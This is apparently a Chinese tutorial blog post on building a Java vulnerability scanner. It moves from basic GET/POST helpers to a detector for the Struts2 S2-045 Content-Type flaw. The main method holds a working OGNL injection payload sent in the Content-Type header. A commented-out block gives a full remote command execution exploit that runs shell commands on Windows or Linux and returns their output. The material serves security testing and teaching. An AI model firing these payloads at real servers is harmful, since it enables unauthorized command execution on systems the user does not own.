首先说明一下我的开发环境: IDEA-2020.1 + Jdk 1.8
在Web端下,基本上就是GET/POST请求,大部分漏洞的利用也是如此。将我们手工操作的流程-过程用代码是模拟的过程就是编写漏洞扫描工具.
漏洞扫描工具可以帮助我们减少重复性的手工操作,并且效率极大的提高。人工操作10分钟,电脑零点几秒就可以完成,在对目标非常多的情况下,扫描工具更是必不可缺。但是工具毕竟是工具,它不可能像人脑一样的分析处理判断事物,所以工具会有误报和漏报的情况下。
当然还有一些漏洞甚至是工具无法完成的,比如逻辑漏洞,逻辑漏洞名 “逻辑” 意思就是说开发者思维上的漏洞, 从一个开发者没有没有想到的角度去出发,但是可以做到和正常角度出发达到同样的目的,就是思考上的缺陷。这个智能的过程很明显是工具无法完成,但是要知道从你打开一个链接到接收到响应显示到页面上,中间可能会发生n多个请求。更别说频繁浏览网页的情况下,所以我们仍然可以编写一些针对性的扫描工具,来对请求进行筛选,得到我们最想看到的请求信息.
那接下来我们来看一下如何使用Java写一个GET请求
/**
* GET请求
*
* @param url 网址
* @return
*/
public static String getRequest(String url) throws IOException {
BufferedReader bd = null;
StringBuffer sb = null;
try {
URL realUrl = new URL(url);
// 打开和URL之间的连接
URLConnection connection = realUrl.openConnection();
// 设置通用的请求属性
connection.setRequestProperty("accept", "*/*");
connection.setRequestProperty("connection", "Keep-Alive");
connection.setRequestProperty("user-agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)");
connection.setConnectTimeout(5000);
connection.setReadTimeout(5000);
// 建立实际的连接
connection.connect();
// 定义 BufferedReader输入流来读取URL的响应
bd = new BufferedReader(new InputStreamReader(connection.getInputStream()));
sb = new StringBuffer();
String line;
while ((line = bd.readLine()) != null) {
sb.append(line);
}
bd.close();
} catch (MalformedURLException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
return sb.toString();
}
我们来看看结果,主函数内使用System.out.println(getRequest("http://www.hi-awsafe.com"));来请求输出。
接下来来到重点POST请求,我们先来看看POST请求有几个参数:
- 网址--posttarget
- 请求头--openConnection
- POST请求参数--params
public static String postRequest(String posttarget, String params) throws Exception {
StringBuilder sb = new StringBuilder(); // 请求的响应内容
BufferedReader bd;
PrintWriter out; // 输出流
try {
URL url = new URL(posttarget);
URLConnection openConnection = url.openConnection();
// 设置请求头
openConnection.setRequestProperty("accept", "*/*");
openConnection.setRequestProperty("connection", "Keep-Alive");
openConnection.setRequestProperty("user-agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)");
openConnection.setRequestProperty("X-Requested-With","XMLHttpRequest");
openConnection.setRequestProperty("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");
openConnection.setDoInput(true); // 默认为true,可以使用openConnection.getInputStream() 取得响应
openConnection.setDoOutput(true); // 默认为false, 设置为true后可以使用openConnection.getOutputStream() 进行写入数据
out = new PrintWriter(openConnection.getOutputStream());
out.print(params);
out.flush();
bd = new BufferedReader(new InputStreamReader(openConnection.getInputStream()));
String line = null;
while ((line = bd.readLine()) != null) {
// System.out.println(line); // 逐行打印请求
sb.append(line + "\r\n");
}
} catch (MalformedURLException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
return sb.toString();
}
那我们来实验测试一下
先来定义一下posttarget:String posttarget = "http://www.wanan.life/admin";
接着继续请求头:openConnection -->看代码里面的注释,第八行开始
然后请求参数params:String params = "name=不可能告诉你用户名的&password=密码更别想&referer=";
好了差不多了解了,那我们就实战写一个案例,开发一个检测Struts2-045命令执行的检测工具,因为是st2-045漏洞是因为使用Jakarta上传文件对Content-Type判断和处理不档引起的,所以漏洞利用的poc是要作用在请求头中的Centent-Type才能生效的。所以我们需要在小小的修改一下post请求.
public static String sendPost(String target, String params,Map<String, String> headers) {
StringBuilder responseBody = new StringBuilder(); // 请求的响应内容
BufferedReader reader;
PrintWriter out; // 输出流
try {
URL url = new URL(target);
URLConnection openConnection = url.openConnection();
// 设置请求头
for (Map.Entry<String, String> entry : headers.entrySet()) {
openConnection.setRequestProperty(entry.getKey(), entry.getValue());
}
openConnection.setDoInput(true); // 默认为true,可以使用openConnection.getInputStream() 取得响应
openConnection.setDoOutput(true); // 默认为false, 设置为true后可以使用openConnection.getOutputStream() 进行写入数据
out = new PrintWriter(openConnection.getOutputStream());
out.print(params);
out.flush();
reader = new BufferedReader(new InputStreamReader(openConnection.getInputStream()));
String line = null;
while ((line = reader.readLine()) != null) {
// System.out.println(line); // 逐行打印请求
responseBody.append(line + "\r\n");
}
} catch (MalformedURLException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
return responseBody.toString();
}
然后我们开始测试,首先就是先定义payload,这里的payload是使用ognl向页面打印(println)了一个 “wanan”,所以当 “wanan”存在于响应中的情况下,基本上可以判判断存在漏洞!然后就是需要扫描的网址:String target = "";
public static void main(String[] args) throws Exception{
String payload = "%{(#nikenb='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm))))."
+ "(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#o.println('wanan')).(#o.close())}";
String target = "";//定义自己需要扫描的url
Map<String, String> headers = new HashMap<>();
headers.put("User-Agent", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36");
headers.put("Content-Type", payload);
String postResponseBody = sendPost(target, "",headers);
if (postResponseBody.contains("wanan")) {
System.out.println("[*] 存在 st2-045 漏洞: "+ target);
}else {
System.out.println("不存在Str2-045漏洞!");
}
//执行系统命令exp
/* headers.put("Content-Type","%{(#xxx='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):" +
"((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." +
"(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='\"whoami\"')." +
"(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." +
"(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse()." +
"getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}");
String postResponseBodycmd = sendPost(target,"",headers);
System.out.println("系统权限为:" + postResponseBodycmd);*/
}